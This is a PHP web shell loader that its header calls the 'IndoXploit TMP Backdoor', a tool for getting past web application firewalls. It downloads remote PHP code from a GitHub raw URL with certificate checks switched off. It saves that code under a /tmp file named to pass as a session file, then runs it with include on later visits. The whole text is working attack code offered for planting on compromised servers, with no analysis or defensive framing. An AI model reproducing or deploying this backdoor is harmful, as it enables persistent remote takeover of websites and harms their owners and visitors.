# IndoXploit TMP Backdoor
# Bypass 406 Not Acceptable & Auto Delete Shell (WAF Evasion Shell)
# Coded by: L0c4lh34rtz - IndoXploit

$data = ['https://raw.githubusercontent.com/umsida1912/x/refs/heads/main/x.txt', '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'];

if(file_exists($data[1]) && filesize($data[1]) !== 0) {
include($data[1]);
} else {
$fopen = fopen($data[1], 'w+');
fwrite($fopen, get($data[0]));
fclose($fopen);
echo '<script>window.location="?indoxploit";</script>';
}

function get($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
return curl_exec($ch);
curl_close($ch);
}